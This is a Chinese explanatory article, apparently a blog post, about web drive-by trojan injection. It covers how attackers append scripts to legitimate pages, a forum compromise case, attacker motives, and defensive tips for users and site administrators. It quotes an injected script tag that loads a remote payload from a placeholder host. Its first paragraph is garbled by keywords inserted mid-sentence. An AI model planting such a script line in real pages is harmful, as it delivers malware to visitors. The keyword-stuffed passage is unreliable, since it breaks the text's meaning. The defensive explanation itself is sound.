网页挂马指的网页是什么？简单说，就是挂马有人在正常网页的代码里偷偷塞进一段恶意脚本。你打开页面，网页看起来跟平时没两样，挂马新闻还是网页新闻，图片还是挂马图片，但浏览器已经在后台悄悄加载了攻击者指定的网页另一个地址。那个地址上通常放着漏洞利用工具包，挂马专门扫描你电脑里的网页Flash、Java、挂马PDF阅读器有没有过时的网页版本。一旦扫到缺口，挂马木马就直接灌进来。网页

我见过一个真实案例。挂马某地方论坛的网页服务器被入侵后，攻击者没改首页，也没删帖子，只在每个帖子的模板文件末尾加了一行<script src="http://xxx.xxx/1.js"></script>。那行代码短到几乎没人会注意。接下来两周，访问过该论坛的用户里，有几百台电脑被装上了盗号木马。论坛管理员后来查日志才发现，那段时间服务器上多了一个从没见过的定时任务，每天凌晨三点去远程拉取新的恶意脚本。

挂马跟钓鱼不一样。钓鱼是骗你主动交出密码，挂马是你不交也得交——只要你访问了被篡改的页面，浏览器就会替你“交”。攻击者偏爱挂马，因为它不需要用户点击任何“确认”按钮，也不需要用户输入任何信息。页面加载的那几秒，就是攻击窗口。

常见的挂马方式有三种。一种是通过服务器漏洞直接入侵，比如老版本的CMS系统、弱口令的后台、没打补丁的数据库管理工具。另一种是攻击网站调用的第三方资源，比如广告联盟的JS文件、统计代码、CDN上的公共库。还有一种是利用浏览器本身的0day漏洞，这种最狠，但也最少见，因为0day在黑市上能卖几十万，不会随便用在普通挂马上。

挂马的人图什么？多数是图钱。他们可以把被感染的电脑变成“肉鸡”，拿去挖矿、发垃圾邮件、发动DDoS攻击。也有专门偷游戏账号、网银凭证的，打包卖给下游团伙。我认识一个做安全运维的朋友，他负责的一个企业官网被挂了马，三天后收到机房通知：服务器在往外发大量垃圾邮件。查下来是挂马脚本里带了一个SMTP爆破模块。

普通用户怎么判断自己访问的页面有没有被挂马？说实话，很难。页面外观完全正常，地址栏的域名也没错，甚至HTTPS锁头都在。唯一能做的，是保持浏览器和插件更新到最新版，装一个靠谱的广告拦截插件——很多挂马脚本是通过广告位注入的，拦截插件能挡掉一部分。另外，别随便点陌生邮件里的链接，别从非官方渠道下载软件，这些老生常谈的习惯，确实能降低中招概率。

网站管理员那边，要做的更具体。定期更新CMS和插件，别用“admin”当后台用户名，数据库不要用root直接对外。服务器上开个文件完整性监控，一旦模板文件被改动，立刻收到告警。我见过一个站长，他在每个页面的底部加了一段自定义的校验代码，页面输出前会检查模板文件有没有被追加内容。这办法土，但管用。

网页挂马不会消失。只要还有没打补丁的网站，还有懒得更新浏览器的用户，这条黑色产业链就会一直转下去。它不像勒索软件那样大张旗鼓，更像墙角的老鼠，悄无声息地啃食你的系统。